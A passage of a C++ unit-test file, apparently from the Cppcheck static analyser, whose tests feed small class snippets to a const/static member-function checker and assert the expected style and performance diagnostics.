test();\\n\"\n \" const char* get() const;\\n\"\n \" char* get();\\n\"\n \" private:\\n\"\n \" char* value_;\\n\"\n \"};\\n\"\n \"test::test()\\n\"\n \"{\\n\"\n \" value_ = 0;\\n\"\n \"}\\n\"\n \"const char* test::get() const\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\\n\"\n \"char* test::get()\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const30() {\n // check for false negatives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'Derived::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Derived::getA' can be const. [functionConst]\\n\"\n \"[test.cpp:14:9]: (style, inconclusive) Technically the member function 'Derived::getB' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style, inconclusive) Technically the member function 'Derived2::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:9]: (style, inconclusive) Technically the member function 'Derived4::get' can be const. [functionConst]\\n\", errout_str());\n\n // check for false positives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() const {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const31() {\n checkConst(\"namespace std { }\\n\"\n \"class Fred {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \" int get() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const32() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::string a[10];\\n\"\n \" void seta() { a[0] = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const33() {\n checkConst(\"class derived : public base {\\n\"\n \"public:\\n\"\n \" void f(){}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Either there is a missing 'override', or the member function 'derived::f' can be static. [functionStatic]\\n\", errout_str());\n }\n\n void const34() { // ticket #1964\n checkConst(\"class Bar {\\n\"\n \" void init(Foo * foo) {\\n\"\n \" foo.bar = this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const35() { // ticket #2001\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" class Derived : public Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName() { return var; }\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:21]: (style, inconclusive) Technically the member function 'N::Derived::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"int N::Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:10:14]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" int Base::getResourceName() { return var; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:12:19]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:11:11]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const36() { // ticket #2003\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" Blue::Utility::Size m_MaxQueueSize;\\n\"\n \" void SetMaxQueueSize(Blue::Utility::Size a_MaxQueueSize)\\n\"\n \" {\\n\"\n \" m_MaxQueueSize = a_MaxQueueSize;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const37() { // ticket #2081 and #2085\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A(){};\\n\"\n \" std::string operator+(const char *c)\\n\"\n \" {\\n\"\n \" return m_str+std::string(c);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" std::string m_str;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style, inconclusive) Technically the member function 'A::operator+' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" long x;\\n\"\n \"public:\\n\"\n \" Fred() {\\n\"\n \" x = 0;\\n\"\n \" }\\n\"\n \" bool isValid() {\\n\"\n \" return (x == 0x11224488);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'Fred::isValid' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const38() { // ticket #2135\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" ~Foo() { delete oArq; }\\n\"\n \" Foo(): oArq(new std::ofstream(\\\"...\\\")) {}\\n\"\n \" void MyMethod();\\n\"\n \"private:\\n\"\n \" std::ofstream *oArq;\\n\"\n \"};\\n\"\n \"void Foo::MyMethod()\\n\"\n \"{\\n\"\n \" (*oArq) << \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const39() {\n checkConst(\"class Foo\\n\"\n \"{\\n\"\n \" int * p;\\n\"\n \"public:\\n\"\n \" Foo () : p(0) { }\\n\"\n \" int * f();\\n\"\n \" const int * f() const;\\n\"\n \"};\\n\"\n \"const int * Foo::f() const\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\\n\"\n \"int * Foo::f()\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const40() { // ticket #2228\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" std::tr1::shared_ptr pView;\\n\"\n \" public:\\n\"\n \" SharedPtrHolder()\\n\"\n \" { }\\n\"\n \" void SetView(const std::shared_ptr & aView)\\n\"\n \" {\\n\"\n \" pView = aView;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const41() { // ticket #2255\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \" ::std::string m_name;\\n\"\n \"public:\\n\"\n \" void SetName(const ::std::string & name)\\n\"\n \" {\\n\"\n \" m_name = name;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" ::std::tr1::shared_ptr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const ::std::tr1::shared_ptr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder2\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" typedef ::std::tr1::shared_ptr IntSharedPtr;\\n\"\n \" private:\\n\"\n \" IntSharedPtr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntSharedPtr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct IntPtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder3\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" IntPtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntPtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"template \\n\"\n \"struct PtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder4\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" PtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const PtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const42() { // ticket #2282\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB { };\\n\"\n \" bool f(AB * ab);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB * ab)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:5:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \" bool Fred::f(Fred::AB::CD * cd)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:10:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"}\\n\"\n \"bool NS::Fred::f(NS::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Foo {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool Foo::Fred::f(Foo::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:17]: (performance, inconclusive) Technically the member function 'Foo::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const43() { // ticket 2377\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo( AA::BB::CC::DD b );\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \"};\\n\"\n \"void A::foo( AA::BB::CC::DD b )\\n\"\n \"{\\n\"\n \" a = b;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace AA\\n\"\n \"{\\n\"\n \" namespace BB\\n\"\n \" {\\n\"\n \" namespace CC\\n\"\n \" {\\n\"\n \" struct DD\\n\"\n \" {};\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \"\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \" void foo(AA::BB::CC::DD b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace ZZ\\n\"\n \"{\\n\"\n \" namespace YY\\n\"\n \" {\\n\"\n \" struct XX\\n\"\n \" {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ZZ::YY::XX a;\\n\"\n \" void foo(ZZ::YY::XX b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const44() { // ticket 2595\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" bool bOn;\\n\"\n \" bool foo()\\n\"\n \" {\\n\"\n \" return 0 != (bOn = bOn);\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const45() { // ticket 2664\n checkConst(\"namespace wraps {\\n\"\n \" class BaseLayout {};\\n\"\n \"}\\n\"\n \"namespace tools {\\n\"\n \" class WorkspaceControl :\\n\"\n \" public wraps::BaseLayout\\n\"\n \" {\\n\"\n \" int toGrid(int _value)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:13]: (performance, inconclusive) Technically the member function 'tools::WorkspaceControl::toGrid' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const46() { // ticket 2663\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" int fun1() {\\n\"\n \" int a;\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \" int fun2() {\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance, inconclusive) Technically the member function 'Altren::fun1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:9]: (performance, inconclusive) Technically the member function 'Altren::fun2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const47() { // ticket 2670\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(1); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:8]: (style, inconclusive) Technically the member function 'Altren::bar' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const48() { // ticket 2672\n checkConst(\"class S0 {\\n\"\n \" class S1 {\\n\"\n \" class S2 {\\n\"\n \" class S3 {\\n\"\n \" class S4 { };\\n\"\n \" };\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class TextIterator {\\n\"\n \" S0::S1::S2::S3::S4 mCurrent, mSave;\\n\"\n \"public:\\n\"\n \" bool setTagColour();\\n\"\n \"};\\n\"\n \"bool TextIterator::setTagColour() {\\n\"\n \" mSave = mCurrent;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const49() { // ticket 2795\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const50() { // ticket 2943\n checkConst(\"class Altren\\n\"\n \"{\\n\"\n \" class SubClass : public std::vector\\n\"\n \" {\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void _setAlign()\\n\"\n \"{\\n\"\n \" if (mTileSize.height > 0) return;\\n\"\n \" if (mEmptyView) return;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const51() { // ticket 3040\n checkConst(\"class PSIPTable {\\n\"\n \"public:\\n\"\n \" PSIPTable() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class PESPacket {\\n\"\n \"public:\\n\"\n \" PESPacket() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\\n\"\n \"class PSIPTable : public PESPacket\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const52() { // ticket 3048\n checkConst(\"class foo {\\n\"\n \" void DoSomething(int &a) const { a = 1; }\\n\"\n \" void DoSomethingElse() { DoSomething(bar); }\\n\"\n \"private:\\n\"\n \" int bar;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'foo::DoSomething' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const53() { // ticket 3049\n checkConst(\"class A {\\n\"\n \" public:\\n\"\n \" A() : foo(false) {};\\n\"\n \" virtual bool One(bool b = false) { foo = b; return false; }\\n\"\n \" private:\\n\"\n \" bool foo;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" public:\\n\"\n \" B() {};\\n\"\n \" bool One(bool b = false) { return false; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const54() { // ticket 3052\n checkConst(\"class Example {\\n\"\n \" public:\\n\"\n \" void Clear(void) { Example tmp; (*this) = tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const55() {\n checkConst(\"class MyObject {\\n\"\n \" int tmp;\\n\"\n \" MyObject() : tmp(0) {}\\n\"\n \"public:\\n\"\n \" void set(std::stringstream &in) { in >> tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const56() { // ticket #3149\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" switch (x) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" protected:\\n\"\n \" unsigned short f (unsigned short X);\\n\"\n \" public:\\n\"\n \" A ();\\n\"\n \"};\\n\"\n \"\\n\"\n \"unsigned short A::f (unsigned short X)\\n\"\n \"{\\n\"\n \" enum ERetValues {RET_NOK = 0, RET_OK = 1};\\n\"\n \" enum ETypes {FLOAT_TYPE = 1, INT_TYPE = 2};\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" switch (X)\\n\"\n \" {\\n\"\n \" case FLOAT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" case INT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" default:\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return RET_NOK;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24] -> [test.cpp:9:19]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" for (int i = 0; i < 5; i++) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const57() { // tickets #2669 and #2477\n checkConst(\"namespace MyGUI\\n\"\n \"{\\n\"\n \" namespace types\\n\"\n \" {\\n\"\n \" struct TSize {};\\n\"\n \" struct TCoord {\\n\"\n \" TSize size() const { }\\n\"\n \" };\\n\"\n \" }\\n\"\n \" typedef types::TSize IntSize;\\n\"\n \" typedef types::TCoord IntCoord;\\n\"\n \"}\\n\"\n \"class SelectorControl\\n\"\n \"{\\n\"\n \" MyGUI::IntSize getSize()\\n\"\n \" {\\n\"\n \" return mCoordValue.size();\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" MyGUI::IntCoord mCoordValue;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:15]: (style, inconclusive) Technically the member function 'SelectorControl::getSize' can be const.\\n\",\n \"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" int i = 0;\\n\"\n \" void run() { i++; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" void run() const { }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Bar::run' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Foo::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const58() {\n checkConst(\"struct MyObject {\\n\"\n \" void foo(Foo f) {\\n\"\n \" f.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" int foo(Foo f) {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" Foo f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" std::string f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'MyObject::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const59() { // ticket #4646\n checkConst(\"class C {\\n\"\n \"public:\\n\"\n \" inline void operator += (const int &x ) { re += x; }\\n\"\n \" friend inline void exp(C & c, const C & x) { }\\n\"\n \"protected:\\n\"\n \" int re;\\n\"\n \" int im;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const60() { // ticket #3322\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs ) {\\n\"\n \" delete m_ptr;\\n\"\n \" m_ptr = new char[42];\\n\"\n \" }\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs );\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const61() { // ticket #5606 - don't crash\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" int GetAudioFrame();\\n\"\n \"};\\n\"\n \"int MixerParticipant::GetAudioFrame() {\\n\"\n \" return 0;\\n\"\n \"}\");\n\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" bool InitializeFileReader() {\\n\"\n \" printf(\\\"music\\\");\\n\"\n \" }\\n\"\n \"};\");\n\n // Based on an example from SVN source code causing an endless recursion within CheckClass::isConstMemberFunc()\n // A more complete example including a template declaration like\n // template class Hash{/* ... */};\n // didn't .\n checkConst(\"template<>\\n\"\n \"class Hash {\\n\"\n \"protected:\\n\"\n \" typedef Key::key_type 